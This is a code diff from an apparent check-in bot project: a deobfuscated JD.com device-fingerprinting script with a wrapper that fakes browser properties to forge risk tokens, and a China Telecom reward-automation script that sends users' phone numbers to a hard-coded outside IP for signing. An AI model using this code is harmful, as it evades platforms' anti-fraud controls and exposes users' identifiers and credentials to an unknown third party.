window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/telecom.py b/telecom.py new file mode 100644 index 0000000..3e4f71c --- /dev/null +++ b/telecom.py @@ -0,0 +1,270 @@ +# -*- coding: utf-8 -*- +import re +import time +import base64 +import requests +import threading +import urllib.parse +import xml.dom.minidom as xmldom + +from notify import send + + +#--------------以下为配置区需自行填写--------------# + +# 参数说明 +# mobile 手机号 +# password 服务密码 (为空时不执行需登录才能完成的任务) +# food 喂食开关 (开启填 True, 关闭填 False) +config_list = [ + {"mobile": "12345678911", "password": "1234", "food": False}, + #{"mobile": "12345678911", "password": "", "food": False}, +] + +#--------------配置区结束------------# +app_headers = {"User-Agent": "Xiaomi MI 9/9.2.0"} +msg_list = [] +host = 'http://120.79.66.8:6987' + + +def telecom_task(config): + msg = [] + mobile = config['mobile'] + password = config['password'] + msg.append(mobile + " 开始执行任务...") + print(mobile + " 开始执行任务...") + h5_headers = get_h5_headers(mobile) + # 获取用户中心 + home_info_body = requests.get(url="{}/telecom/getHomeInfoSign".format(host), params={"mobile": mobile}).json() + home_info_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/api/home/homeInfo", json=home_info_body, headers=h5_headers).json() + if home_info_ret['resoultMsg'] != "成功": + msg.append(home_info_ret['resoultMsg']) + print(home_info_ret['resoultMsg']) + return + old_coin = home_info_ret['data']['userInfo']['totalCoin'] + + # 签到 + sign_body = requests.get(url="{}/telecom/getSign".format(host), params={"mobile": mobile}).json() + sign_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/api/home/sign", json=sign_body, + headers=h5_headers).json() + if sign_ret['data']['code'] == 1: + msg.append("签到成功, 本次签到获得 " + str(sign_ret['data']['coin']) + " 豆") + print("签到成功, 本次签到获得 " + str(sign_ret['data']['coin']) + " 豆") + else: + msg.append(sign_ret['data']['msg']) + print(sign_ret['data']['msg']) + + # 登录任务 + if password != '': + ticket = get_ticket(mobile, password, msg) + if ticket != '': + xbk_live(ticket, mobile, msg) + xbk_video(ticket, mobile, msg) + share_to_get_coin(ticket, mobile, msg) + + # 获取所有任务 + task_info_body = requests.get(url="{}/telecom/getPhoneSign".format(host), params={"mobile": mobile}).json() + task_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/paradise/getTask", headers=h5_headers, + json=task_info_body).json() + if task_ret['resoultCode'] == '0': + tasks = task_ret['data'] + for task in tasks: + task_id = task['taskId'] + task_name = task['title'] + task_body = requests.get(url="{}/telecom/getTaskSign2".format(host), + params={"mobile": mobile, "task": task_id}).json() + polymerize_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/paradise/polymerize", + json=task_body, headers=h5_headers).json() + if polymerize_ret['resoultCode'] == 0: + log_msg = task_name + polymerize_ret['data']['err'] + print(log_msg) + msg.append(log_msg) + time.sleep(3) + # 获取用户中心 + home_info_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/api/home/homeInfo", json=home_info_body, + headers=h5_headers).json() + new_coin = home_info_ret['data']['userInfo']['totalCoin'] + msg.append("领取完毕, 现有金豆: " + str(new_coin)) + print("领取完毕, 现有金豆: " + str(new_coin)) + msg.append("本次领取金豆: " + str(new_coin - old_coin)) + print("本次领取金豆: " + str(new_coin - old_coin)) + + # 喂食 + food(config, msg) + + # 签到7天领取话费 + convert_reward(config, msg) + msg.append("----------------------------------------------") + msg_list.extend(msg) + + +def food(config, msg): + if config['food']: + mobile = config['mobile'] + msg.append(mobile + " 开始执行喂食...") + print(mobile + " 开始执行喂食...") + while True: + food_body = requests.get(url="{}/telecom/getPhoneSign".format(host), params={"mobile": mobile}).json() + food_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/paradise/food", json=food_body, + headers=get_h5_headers(mobile)).json() + msg.append(food_ret['resoultMsg']) + print(food_ret['resoultMsg']) + if food_ret['resoultCode'] != '0': + break + + +def convert_reward(config, msg): + mobile = config['mobile'] + msg.append(mobile + " 开始执行满7天兑换话费...") + print(mobile + " 开始执行满7天兑换话费...") + phone_body = requests.get(url="{}/telecom/getPhoneSign".format(host), params={"mobile": mobile}).json() + activity_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/reward/activityMsg", json=phone_body, + headers=get_h5_headers(mobile)).json() + msg.append("你已连续签到 " + str(activity_ret['totalDay']) + " 天") + print("你已连续签到 " + str(activity_ret['totalDay']) + " 天") + if activity_ret['recordNum'] > 0: + #可以领取 + reward_id = activity_ret['date']['id'] + params = { + "mobile": mobile, + "rewardId": reward_id + } + reward_body = requests.get(url="{}/telecom/getConvertReward".format(host), params=params).json() + reward_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/reward/convertReward", json=reward_body, + headers=get_h5_headers(mobile)).json() + if reward_ret['code'] == '0': + msg.append(reward_ret['msg']) + print(reward_ret['msg']) + + +def get_h5_headers(mobile): + base64_mobile = str(base64.b64encode(mobile[5:11].encode('utf-8')), 'utf-8').strip(r'=+') + "!#!" + str( + base64.b64encode(mobile[0:5].encode('utf-8')), 'utf-8').strip(r'=+') + return {"User-Agent": 